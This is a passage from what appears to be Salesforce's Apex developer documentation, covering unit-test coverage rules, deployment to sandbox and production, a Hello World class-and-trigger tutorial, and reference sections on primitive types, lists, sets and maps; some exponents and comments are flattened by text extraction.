save your code until it compiles without errors. The Salesforce user interface also numbers the lines in the code, and uses color coding
to distinguish different elements, such as comments, keywords, literal strings, and so on.
• For a trigger on an object, from the object’s management settings, go to Triggers, click New, and then enter your code in the Body
text box.
• For a class, from Setup, enter Apex Classes in the Quick Find box, then select Apex Classes. Click New, and then enter
your code in the Body text box.
Note: You can’t modify Apex using the Salesforce user interface in a Salesforce production org.
Alternatively, you can use any text editor, such as Notepad, to write Apex code. Then either copy and paste the code into your application,
or use one of the API calls to deploy it.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Writing Tests
Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend
that you use a test-driven development process, that is, test development that occurs at the same time as code development.
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class
methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to
the database, send no emails, and are flagged with the testMethod keyword or the @isTest annotation in the method definition.
Also, test methods must be defined in test classes, that is, classes annotated with @isTest.
Note: The testMethod keyword is now deprecated. Use the @isTest annotation on classes and methods instead.
In addition, before you deploy Apex or package it for the Force.com AppExchange, the following must be true.
• At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
– When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
– Calls to System.debug are not counted as part of Apex code coverage.
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– Test methods and test classes are not counted as part of Apex code coverage.
– While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered.
Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well
as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
• Every trigger must have some test coverage.
• All classes and triggers must compile successfully.
For more information on writing tests, see Testing Apex on page 569.
Deploying Apex to a Sandbox Organization
Sandboxes create copies of your Salesforce org in separate environments. Use them for development, testing, and training without
compromising the data and applications in your production org. Sandboxes are isolated from your production org, so operations that
you perform in your sandboxes don’t affect your production org.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment
Wizard. For more information about the Force.com IDE, see https://developer.salesforce.com/page/Force.com_IDE.
You can also use the deploy() Metadata API call to deploy your Apex from a developer organization to a sandbox organization.
A useful API call is runTests(). In a development or sandbox organization, you can run the unit tests for a specific class, a list of
classes, or a namespace.
Salesforce includes a Force.com Migration Tool that allows you to issue these commands in a console window, or your can implement
your own deployment code.
Note: The Force.com IDE and the Force.com Migration Tool are free resources provided by Salesforce to support its users and
partners, but aren't considered part of our services for purposes of the SalesforceMaster Subscription Agreement.
For more information, see Using the Force.com Migration Tool and Deploying Apex.
Deploying Apex to a Salesforce Production Organization
After you have finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying Apex to
your Salesforce production organization.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment
Wizard. For more information about the Force.com IDE, see https://developer.salesforce.com/page/Force.com_IDE.
Also, you can deploy Apex through change sets in the Salesforce user interface.
For more information and for additional deployment options, see Deploying Apex on page 603.
Adding Apex Code to a Force.com AppExchange App
You can include an Apex class or trigger in an app that you are creating for AppExchange.
Any Apex that is included as part of a package must have at least 75% cumulative test coverage. Each trigger must also have some test
coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. In addition, tests
with the@isTest(OnInstall=true) annotation run when the package is installed in the installer's organization. You can specify
which tests should run during package install by annotating them with @isTest(OnInstall=true). This subset of tests must
pass for the package install to succeed.
In addition, Salesforce recommends that any AppExchange package that contains Apex be a managed package.
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For more information, see the Force.com Quick Reference for Developing Packages. For more information about Apex in managed packages,
see “What is a Package” in the Salesforce online help.
Note: Packaging Apex classes that contain references to custom labels which have translations: To include the translations in the
package, enable the Translation Workbenc and explicitly package the individual languages used in the translated custom labels.
See “Custom Labels” in the Salesforce online help.
Apex Quick Start
This step-by-step tutorial shows how to create a simple Apex class and trigger, and how to deploy these components to a production
organization.
Once you have a Developer Edition or sandbox organization, you may want to learn some of the core concepts of Apex. After reviewing
the basics, you are ready to write your first Apex program—a very simple class, trigger, and unit test.
Because Apex is very similar to Java, you may recognize much of the functionality.
This tutorial is based on a custom object called Book that is created in the first step. This custom object is updated through a trigger.
This Hello World sample requires custom objects. You can either create these on your own, or download the objects and Apex code as
an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the Apex Tutorials Package.
This package also contains sample code and objects for the Shipping Invoice example.
Note: There is a more complex Shipping Invoice example that you can also walk through. That example illustrates many more
features of the language.
IN THIS SECTION:
1. Create a Custom Object
In this step, you create a custom object called Book with one custom field called Price.
2. Adding an Apex Class
In this step, you add an Apex class that contains a method for updating the book price. This method is called by the trigger that you
will be adding in the next step.
3. Add an Apex Trigger
In this step, you create a trigger for the Book__c custom object that calls the applyDiscount method of the MyHelloWorld
class that you created in the previous step.
4. Add a Test Class
In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises
and validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class.
5. Deploying Components to Production
In this step, you deploy the Apex code and the custom object you created previously to your production organization using change
sets.
Create a Custom Object
In this step, you create a custom object called Book with one custom field called Price.
Prerequisites:
A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
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For more information about creating a sandbox org, see “Sandbox Types and Templates” in the Salesforce Help. To sign up for a free
Developer org, see the Developer Edition Environment Sign Up Page.
1. Log in to your sandbox or Developer org.
2. From your management settings for custom objects, if you’re using Salesforce Classic, click New Custom Object, or if you’re using
Lightning Experience, select Create > Custom Object.
3. Enter Book for the label.
4. Enter Books for the plural label.
5. Click Save.
Ta dah! You’ve now created your first custom object. Now let’s create a custom field.
6. In the Custom Fields & Relationships section of the Book detail page, click New.
7. Select Number for the data type and click Next.
8. Enter Price for the field label.
9. Enter 16 in the length text box.
10. Enter 2 in the decimal places text box, and click Next.
11. Click Next to accept the default values for field-level security.
12. Click Save.
You’ve just created a custom object called Book, and added a custom field to that custom object. Custom objects already have some
standard fields, like Name and CreatedBy, and allow you to add other fields that are more specific to your implementation. For this
tutorial, the Price field is part of our Book object and it is accessed by the Apex class you will write in the next step.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Adding an Apex Class
In this step, you add an Apex class that contains a method for updating the book price. This method is called by the trigger that you will
be adding in the next step.
Prerequisites:
• A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
• The Book custom object.
1. From Setup, enter “Apex Classes” in the Quick Find box, then select Apex Classes and click New.
2. In the class editor, enter this class definition:
public class MyHelloWorld {
}
The previous code is the class definition to which you will be adding one method in the next step. Apex code is generally contained
in classes. This class is defined as public, which means the class is available to other Apex classes and triggers. For more information,
see Classes, Objects, and Interfaces on page 53.
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3. Add this method definition between the class opening and closing brackets.
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}
This method is called applyDiscount, and it is both public and static. Because it is a static method, you don't need to create
an instance of the class to access the method—you can just use the name of the class followed by a dot (.) and the name of the
method. For more information, see Static and Instance Methods, Variables, and Initialization Code on page 61.
This method takes one parameter, a list of Book records, which is assigned to the variable books. Notice the __c in the object
name Book__c. This indicates that it is a custom object that you created. Standard objects that are provided in the Salesforce
application, such as Account, don't end with this postfix.
The next section of code contains the rest of the method definition:
for (Book__c b :books){
b.Price__c *= 0.9;
}
Notice the __c after the field name Price__c. This indicates it is a custom field that you created. Standard fields that are provided
by default in Salesforce are accessed using the same type of dot notation but without the __c, for example, Name doesn't end
with __c in Book__c.Name. The statement b.Price__c *= 0.9; takes the old value of b.Price__c, multiplies it
by 0.9, which means its value will be discounted by 10%, and then stores the new value into the b.Price__c field. The *=
operator is a shortcut. Another way to write this statement is b.Price__c = b.Price__c * 0.9;. See Expression Operators
on page 40.
4. Click Save to save the new class. You should now have this full class definition.
public class MyHelloWorld {
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}
}
You now have a class that contains some code that iterates over a list of books and updates the Price field for each book. This code is
part of the applyDiscount static method called by the trigger that you will create in the next step.
Add an Apex Trigger
In this step, you create a trigger for the Book__c custom object that calls the applyDiscount method of the MyHelloWorld
class that you created in the previous step.
Prerequisites:
• A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
• The MyHelloWorld Apex class.
A trigger is a piece of code that executes before or after records of a particular type are inserted, updated, or deleted from the Force.com
platform database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire. All
triggers run in bulk; that is, they process several records at once.
1. From the object management settings for books, go to Triggers, and then click New.
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2. In the trigger editor, delete the default template code and enter this trigger definition:
trigger HelloWorldTrigger on Book__c (before insert) {
Book__c[] books = Trigger.new;
MyHelloWorld.applyDiscount(books);
}
The first line of code defines the trigger:
trigger HelloWorldTrigger on Book__c (before insert) {
It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example, this
trigger is called HelloWorldTrigger, it operates on the Book__c object, and runs before new books are inserted into the database.
The next line in the trigger creates a list of book records named books and assigns it the contents of a trigger context variable
called Trigger.new. Trigger context variables such as Trigger.new are implicitly defined in all triggers and provide access
to the records that caused the trigger to fire. In this case, Trigger.new contains all the new books that are about to be inserted.
Book__c[] books = Trigger.new;
The next line in the code calls the method applyDiscount in the MyHelloWorld class. It passes in the array of new books.
MyHelloWorld.applyDiscount(books);
You now have all the code that is needed to update the price of all books that get inserted. However, there is still one piece of the puzzle
missing. Unit tests are an important part of writing code and are required. In the next step, you will see why this is so and you will be
able to add a test class.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Add a Test Class
In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises and
validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class.
Prerequisites:
• A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
• The HelloWorldTrigger Apex trigger.
Note: Testing is an important part of the development process. Before you can deploy Apex or package it for the Force.com
AppExchange, the following must be true.
• At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
– When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
– Calls to System.debug are not counted as part of Apex code coverage.
– Test methods and test classes are not counted as part of Apex code coverage.
– While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
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• Every trigger must have some test coverage.
• All classes and triggers must compile successfully.
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes and click New.
2. In the class editor, add this test class definition, and then click Save.
@isTest
private class HelloWorldTestClass {
static testMethod void validateHelloWorld() {
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);
}
}
This class is defined using the @isTest annotation. Classes defined this way should only contain test methods and any methods
required to support those test methods. One advantage to creating a separate class for testing is that classes defined with isTest
don’t count against your org’s limit of 3 MB of Apex code. You can also add the @isTest annotation to individual methods. For
more information, see IsTest Annotation on page 87 and Execution Governors and Limits.
The method validateHelloWorld is defined as a testMethod. This annotation means that if changes are made to the
database, they are rolled back when execution completes. You don’t have to delete any test data created in the test method.
Note: The testMethod keyword is now deprecated. Use the @isTest annotation on classes and methods instead.
First, the test method creates a book and inserts it into the database temporarily. The System.debug statement writes the value
of the price in the debug log.
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;
After the book is inserted, the code retrieves the newly inserted book, using the ID that was initially assigned to the book when it
was inserted. The System.debug statement then logs the new price that the trigger modified.
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);
When the MyHelloWorld class runs, it updates the Price__c field and reduces its value by 10%. The following test verifies
that the method applyDiscount ran and produced the expected result.
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);
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3. To run this test and view code coverage information, switch to the Developer Console.
4. In the Developer Console, click Test > New Run.
5. To select your test class, click HelloWorldTestClass.
6. To add all methods in the HelloWorldTestClass class to the test run, click Add Selected.
7. Click Run.
The test result displays in the Tests tab. Optionally, you can expand the test class in the Tests tab to view which methods were run.
In this case, the class contains only one test method.
8. The Overall Code Coverage pane shows the code coverage of this test class. To view the percentage of lines of code in the trigger
covered by this test, which is 100%, double-click the code coverage line for HelloWorldTrigger. Because the trigger calls a method
from the MyHelloWorld class, this class also has coverage (100%). To view the class coverage, double-click MyHelloWorld.
9. To open the log file, in the Logs tab, double-click the most recent log line in the list of logs. The execution log displays, including
logging information about the trigger event, the call to the applyDiscount method, and the price before and after the trigger.
By now, you have completed all the steps necessary for writing some Apex code with a test that runs in your development environment.
In the real world, after you’ve tested your code and are satisfied with it, you want to deploy the code and any prerequisite components
to a production org. The next step shows you how to do this deployment for the code and custom object you’ve created.
SEE ALSO:
Salesforce Help: Open the Developer Console
Deploying Components to Production
In this step, you deploy the Apex code and the custom object you created previously to your production organization using change
sets.
Prerequisites:
• A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization.
• The HelloWorldTestClass Apex test class.
• A deployment connection between the sandbox and production organizations that allows inbound change sets to be received by
the production organization. See “Change Sets” in the Salesforce online help.
• “Create and Upload Change Sets” user permission to create, edit, or upload outbound change sets.
This procedure doesn't apply to Developer organizations since change sets are available only in Performance, Unlimited, Enterprise,
or Database.com Edition organizations. If you have a Developer Edition account, you can use other deployment methods. For more
information, see Deploying Apex.
1. From Setup, enter Outbound Changesets in the Quick Find box, then select Outbound Changesets.
2. If a splash page appears, click Continue.
3. In the Change Sets list, click New.
4. Enter a name for your change set, for example, HelloWorldChangeSet, and optionally a description. Click Save.
5. In the Change Set Components section, click Add.
6. Select Apex Class from the component type drop-down list, then select the MyHelloWorld and the HelloWorldTestClass classes from
the list and click Add to Change Set.
7. Click View/Add Dependencies to add the dependent components.
8. Select the top checkbox to select all components. Click Add To Change Set.
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9. In the Change Set Detail section of the change set page, click Upload.
10. Select the target organization, in this case production, and click Upload.
11. After the change set upload completes, deploy it in your production organization.
a. Log into your production organization.
b. From Setup, enter Inbound Change Sets in the Quick Find box, then select Inbound Change Sets.
c. If a splash page appears, click Continue.
d. In the change sets awaiting deployment list, click your change set's name.
e. Click Deploy.
In this tutorial, you learned how to create a custom object, how to add an Apex trigger, class, and test class. Finally, you also learned
how to test your code, and how to upload the code and the custom object using Change Sets.
Writing Apex
Apex is like Java for Salesforce. It enables you to add and interact with data in the Force.com platform persistence layer. It uses classes,
data types, variables, and if-else statements. You can make it execute based on a condition, or have a block of code execute repeatedly.
IN THIS SECTION:
Data Types and Variables
Apex uses data types, variables, and related language constructs such as enums, constants, expressions, operators, and assignment
statements.
Control Flow Statements
Apex provides if-else statements and loops to control the flow of code execution. Statements are generally executed line by line, in
the order they appear. With control flow statements, you can make Apex code execute based on a certain condition, or have a block
of code execute repeatedly.
Working with Data in Apex
You can add and interact with data in the Force.com platform persistence layer. The sObject data type is the main data type that
holds data objects. You’ll use Data Manipulation Language (DML) to work with data, and use query languages to retrieve data, such
as the (), among other things.
Data Types and Variables
Apex uses data types, variables, and related language constructs such as enums, constants, expressions, operators, and assignment
statements.
IN THIS SECTION:
1. Data Types
In Apex, all variables and expressions have a data type, such as sObject, primitive, or enum.
2. Primitive Data Types
Apex uses the same primitive data types as the SOAP API. All primitive data types are passed by value.
3. Collections
Collections in Apex can be lists, sets, or maps.
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4. Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are
typically used to define a set of possible values that don’t otherwise have a numerical order, such as the suit of a card, or a particular
season of the year.
5. Variables
Local variables are declared with Java-style syntax. As with Java, multiple variables can be declared and initialized in a single statement.
6. Constants
Apex constants are variables whose values don’t change after being initialized once. Constants can be defined using the final
keyword.
7. Expressions and Operators
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.
8. Assignment Statements
An assignment statement is any statement that places a value into a variable.
9. Rules of Conversion
In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot
be implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly
converted, without using a method.
Data Types
In Apex, all variables and expressions have a data type, such as sObject, primitive, or enum.
• A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page 26)
• An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c (see Working
with sObjects on page 109 in Chapter 4.)
• A collection, including:
– A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists on page
30)
– A set of primitives (see Sets on page 32)
– A map from a primitive to a primitive, sObject, or collection (see Maps on page 33)
• A typed list of values, also known as an enum (see Enums on page 35)
• Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 53)
• Objects created from system supplied Apex classes
• Null (for the null constant, which can be assigned to any variable)
Methods can return values of any of the listed types, or return no value and be of type Void.
Type checking is strictly enforced at compile time. For example, the parser generates an error if an object field of type Integer is assigned
a value of type String. However, all compile-time exceptions are returned as specific fault codes, with the line number and column of
the error. For more information, see Debugging Apex on page 535.
Primitive Data Types
Apex uses the same primitive data types as the SOAP API. All primitive data types are passed by value.
All Apex variables, whether they’re class member variables or method variables, are initialized to null. Make sure that you initialize
your variables to appropriate values before using them. For example, initialize a Boolean variable to false.
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Apex primitive data types include:
Data Type
Description
Blob
A collection of binary data stored as a single object. You can convert this data type to String or from
String using the toString and valueOf methods, respectively. Blobs can be accepted as Web
service arguments, stored in a document (the body of a document is a Blob), or sent as attachments.
For more information, see Crypto Class.
Boolean
A value that can only be assigned true, false, or null. For example:
Boolean isWinner = true;
Date
A value that indicates a particular day. Unlike Datetime values, Date values contain no information
about time. Date values must always be created with a system static method.
You can add or subtract an Integer value from a Date value, returning a Date value. Addition and
subtraction of Integer values are the only arithmetic functions that work with Date values. You can’t
perform arithmetic functions that include two or more Date values. Instead, use the Date methods.
Datetime
A value that indicates a particular day and time, such as a timestamp. Datetime values must always
be created with a system static method.
You can add or subtract an Integer or Double value from a Datetime value, returning a Date value.
Addition and subtraction of Integer and Double values are the only arithmetic functions that work
with Datetime values. You can’t perform arithmetic functions that include two or more Datetime
values. Instead, use the Datetime methods.
Decimal
A number that includes a decimal point. Decimal is an arbitrary precision number. Currency fields
are automatically assigned the type Decimal.
If you do not explicitly set the number of decimal places for a Decimal, the item from which the
Decimal is created determines the Decimal’s scale. Scale is a count of decimal places. Use the
setScale method to set a Decimal’s scale.
• If the Decimal is created as part of a query, the scale is based on the scale of the field returned
from the query.
• If the Decimal is created from a String, the scale is the number of characters after the decimal
point of the String.
• If the Decimal is created from a non-decimal number, the number is first converted to a String.
Scale is then set using the number of characters after the decimal point.
Double
A 64-bit number that includes a decimal point. Doubles have a minimum value of -263 and a maximum
value of 263-1. For example:
Double d=3.14159;
Scientific notation (e) for Doubles is not supported.
ID
Any valid 18-character Force.com record identifier. For example:
ID id='00300000003T2PGAA0';
If you set ID to a 15-character value, Apex converts the value to its 18-character representation. All
invalid ID values are rejected with a runtime exception.
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Data Type
Description
Integer
A 32-bit number that does not include a decimal point. Integers have a minimum value of
-2,147,483,648 and a maximum value of 2,147,483,647. For example:
Integer i = 1;
Long
A 64-bit number that does not include a decimal point. Longs have a minimum value of -263 and a
maximum value of 263-1. Use this data type when you need a range of values wider than the range
provided by Integer. For example:
Long l = 2147483648L;
Object
Any data type that is supported in Apex. Apex supports primitive data types (such as Integer),
user-defined custom classes, the sObject generic type, or an sObject specific type (such as Account).
All Apex data types inherit from Object.
You can cast an object that represents a more specific data type to its underlying data type. For
example:
Object obj = 10;
// Cast the object to an integer.
Integer i = (Integer)obj;
System.assertEquals(10, i);
The next example shows how to cast an object to a user-defined type—a custom Apex class named
MyApexClass that is predefined in your organization.
Object obj = new MyApexClass();
// Cast the object to the MyApexClass custom type.
MyApexClass mc = (MyApexClass)obj;
// Access a method on the user-defined class.
mc.someClassMethod();
String
Any set of characters surrounded by single quotes. For example,
String s = 'The quick brown fox jumped over the lazy dog.';
String size: Strings have no limit on the number of characters they can include. Instead, the heap
size limit is used to ensure that your Apex programs don't grow too large.
Empty Strings and Trailing Whitespace: sObject String field values follow the same rules as in
the SOAP API: they can never be empty (only null), and they can never include leading and trailing
whitespace. These conventions are necessary for database storage.
Conversely, Strings in Apex can be null or empty and can include leading and trailing whitespace,
which can be used to construct a message.
The Solution sObject field SolutionNote operates as a special type of String. If you have HTML Solutions
enabled, any HTML tags used in this field are verified before the object is created or updated. If invalid
HTML is entered, an error is thrown. Any JavaScript used in this field is removed before the object is
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Data Type
Data Types and Variables
Description
created or updated. In the following example, when the Solution displays on a detail page, the
SolutionNote field has H1 HTML formatting applied to it:
trigger t on Solution (before insert) {
Trigger.new[0].SolutionNote ='<h1>hello</h1>';
}
In the following example, when the Solution displays on a detail page, the SolutionNote field only
contains HelloGoodbye:
trigger t2 on Solution (before insert) {
Trigger.new[0].SolutionNote =
'<javascript>Hello</javascript>Goodbye';
}
For more information, see “HTML Solutions Overview” in the Salesforce online help.
Escape Sequences: All Strings in Apex use the same escape sequences as SOQL strings: \b
(backspace), \t (tab), \n (line feed), \f (form feed), \r (carriage return), \" (double quote),
\' (single quote), and \\ (backslash).
Comparison Operators: Unlike Java, Apex Strings support using the comparison operators ==,
!=, <, <=, >, and >=. Because Apex uses SOQL comparison semantics, results for Strings are collated
according to the context user’s locale and are not case-sensitive. For more information, see Operators
on page 40.
String Methods: As in Java, Strings can be manipulated with several standard methods. For more
information, see String Class.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime
error if you assign a String value that is too long for the field.
Time
A value that indicates a particular time. Time values must always be created with a system static
method. See Time Class.
In addition, two non-standard primitive data types cannot be used as variable or method types, but do appear in system static methods:
• AnyType. The valueOf static method converts an sObject field of type AnyType to a standard primitive. AnyType is used within
the Force.com platform database exclusively for sObject fields in field history tracking tables.
• Currency. The Currency.newInstance static method creates a literal of type Currency. This method is for use solely within
SOQL and SOSL WHERE clauses to filter against sObject currency fields. You cannot instantiate Currency in any other type of Apex.
For more information on the AnyType data type, see Field Types in the Object Reference for Salesforce and Force.com.
SEE ALSO:
Expression Operators
Collections
Collections in Apex can be lists, sets, or maps.
Note: There is no limit on the number of items a collection can hold. However, there is a general limit on heap size.
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IN THIS SECTION:
Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.
Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.
Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.
Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before
that variable can be used.
SEE ALSO:
Execution Governors and Limits
Lists
A list is an ordered collection of elements that are distinguished by their indices. List elements can be of any data type—primitive types,
collections, sObjects, user-defined types, and built-in Apex types.
This table is a visual representation of a list of Strings:
Index 0
Index 1
Index 2
Index 3
Index 4
Index 5
'Red'
'Orange'
'Yellow'
'Green'
'Blue'
'Purple'
The index position of the first element in a list is always 0.
Lists can contain any collection and can be nested within one another and become multidimensional. For example, you can have a list
of lists of sets of Integers. A list can contain up to four levels of nested collections inside it, that is, a total of five levels overall.
To declare a list, use the List keyword followed by the primitive data, sObject, nested list, map, or set type within <> characters. For
example:
// Create an empty list of String
List<String> my_list = new List<String>();
// Create a nested list
List<List<Set<Integer>>> my_list_2 = new List<List<Set<Integer>>>();
To access elements in a list, use the List methods provided by Apex. For example:
List<Integer> myList = new List<Integer>(); // Define a new list
myList.add(47);
// Adds a second element of value 47 to the end
// of the list
Integer i = myList.get(0);
// Retrieves the element at index 0
myList.set(0, 1);
// Adds the integer 1 to the list at index 0
myList.clear();
// Removes all elements from the list
For more information, including a complete list of all supported methods, see List Class on page 2613.
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Using Array Notation for One-Dimensional Lists
When using one-dimensional lists of primitives or objects, you can also use more traditional array notation to declare and reference list
elements. For example, you can declare a one-dimensional list of primitives or objects by following the data type name with the []
characters:
String[] colors = new List<String>();
These two statements are equivalent to the previous:
List<String> colors = new String[1];
String[] colors = new String[1];
To reference an element of a one-dimensional list, you can also follow the name of the list with the element's index position in square
brackets. For example:
colors[0] = 'Green';
Even though the size of the previous String array is defined as one element (the number between the brackets in new String[1]),
lists are elastic and can grow as needed provided that you use the List add method to add new elements. For example, you can
add two or more elements to the colors list. But if you’re using square brackets to add an element to a list, the list behaves like an
array and isn’t elastic, that is, you won’t be allowed to add more elements than the declared array size.
All lists are initialized to null. Lists can be assigned values and allocated memory using literal notation. For example:
Example
Description
Defines an Integer list of size zero with no elements
List<Integer> ints = new Integer[0];
Defines an Integer list with memory allocated for six Integers
List<Integer> ints = new Integer[6];
IN THIS SECTION:
List Sorting
You can sort list elements and the sort order depends on the data type of the elements.
List Sorting
You can sort list elements and the sort order depends on the data type of the elements.
Using the List.sort method, you can sort elements in a list. Sorting is in ascending order for elements of primitive data types, such
as strings. The sort order of other more complex data types is described in the chapters covering those data types.
This example shows how to sort a list of strings and verifies that the colors are in ascending order in the list.
List<String> colors = new List<String>{
'Yellow',
'Red',
'Green'};
colors.sort();
System.assertEquals('Green', colors.get(0));
System.assertEquals('Red', colors.get(1));
System.assertEquals('Yellow', colors.get(2));
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For the Visualforce SelectOption control, sorting is in ascending order based on the value and label fields. See this next section for the
sequence of comparison steps used for SelectOption.
Default Sort Order for SelectOption
The List.sort method sorts SelectOption elements in ascending order using the value and label fields, and is based on this
comparison sequence.
1. The value field is used for sorting first.
2. If two value fields have the same value or are both empty, the label field is used.
Note that the disabled field is not used for sorting.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
In this example, a list contains three SelectOption elements. Two elements, United States and Mexico, have the same value field (‘A’).
The List.sort method sorts these two elements based on the label field, and places Mexico before United States, as shown in the
output. The last element in the sorted list is Canada and is sorted on its value field ‘C’, which comes after ‘A’.
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('A','United States'));
options.add(new SelectOption('C','Canada'));
options.add(new SelectOption('A','Mexico'));
System.debug('Before sorting: ' + options);
options.sort();
System.debug('After sorting: ' + options);
This is the output of the debug statements. It shows the list contents before and after the sort.
DEBUG|Before sorting: (System.SelectOption[value="A", label="United States",
disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"],
System.SelectOption[value="A", label="Mexico", disabled="false"])
DEBUG|After sorting: (System.SelectOption[value="A", label="Mexico", disabled="false"],
System.SelectOption[value="A", label="United States", disabled="false"],
System.SelectOption[value="C", label="Canada", disabled="false"])
Sets
A set is an unordered collection of elements that do not contain any duplicates. Set elements can be of any data type—primitive types,
collections, sObjects, user-defined types, and built-in Apex types.
This table represents a set of strings that uses city names:
'San Francisco'
'New York'
'Paris'
'Tokyo'
Sets can contain collections that can be nested within one another. For example, you can have a set of lists of sets of Integers. A set can
contain up to four levels of nested collections inside it, that is, up to five levels overall.
To declare a set, use the Set keyword followed by the primitive data type name within <> characters. For example:
new Set<String>()
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The following are ways to declare and populate a set:
Set<String> s1 = new Set<String>{'a', 'b + c'}; // Defines a new set with two elements
Set<String> s2 = new Set<String>(s1); // Defines a new set that contains the
// elements of the set created in the previous step
To access elements in a set, use the system methods provided by Apex. For example:
Set<Integer> s = new Set<Integer>();
s.add(1);
System.assert(s.contains(1));
s.remove(1);
//
//
//
//
Define
Add an
Assert
Remove
a new set
element to the set
that the set contains an element
the element from the set
For more information, including a complete list of all supported set system methods, see Set Class on page 2746.
Note the following limitations on sets:
• Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a set in their declarations (for example,
HashSet or TreeSet). Apex uses a hash structure for all sets.
• A set is an unordered collection—you can’t access a set element at a specific index. You can only iterate over set elements.
• The iteration order of set elements is deterministic, so you can rely on the order being the same in each subsequent execution of
the same code.
Maps
A map is a collection of key-value pairs where each unique key maps to a single value. Keys and values can be any data type—primitive
types, collections, sObjects, user-defined types, and built-in Apex types.
This table represents a map of countries and currencies:
Country (Key)
'United States'
'Japan'
'France'
'England'
'India'
Currency (Value)
'Dollar'
'Yen'
'Euro'
'Pound'
'Rupee'
Map keys and values can contain any collection, and can contain nested collections. For example, you can have a map of Integers to
maps, which, in turn, map Strings to lists. Map keys can contain up to only four levels of nested collections.
To declare a map, use the Map keyword followed by the data types of the key and the value within <> characters. For example:
Map<String, String> country_currencies = new Map<String, String>();
Map<ID, Set<String>> m = new Map<ID, Set<String>>();
You can use the generic or specific sObject data types with maps. You can also create a generic instance of a map.
As with lists, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the curly braces,
specify the key first, then specify the value for that key using =>. For example:
Map<String, String> MyStrings = new Map<String, String>{'a' => 'b', 'c' =>
'd'.toUpperCase()};
In the first example, the value for the key a is b, and the value for the key c is D.
To access elements in a map, use the Map methods provided by Apex. This example creates a map of integer keys and string values. It
adds two entries, checks for the existence of the first key, retrieves the value for the second entry, and finally gets the set of all keys.
Map<Integer, String> m = new Map<Integer, String>(); // Define a new map
m.put(1, 'First entry');
// Insert a new key-value pair in the map
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m.put(2, 'Second entry');
// Insert a new key-value pair in the map
System.assert(m.containsKey(1)); // Assert that the map contains a key
String value = m.get(2);
// Retrieve a value, given a particular key
System.assertEquals('Second entry', value);
Set<Integer> s = m.keySet();
// Return a set that contains all of the keys in the
map
For more information, including a complete list of all supported Map methods, see Map Class on page 2631.
Map Considerations
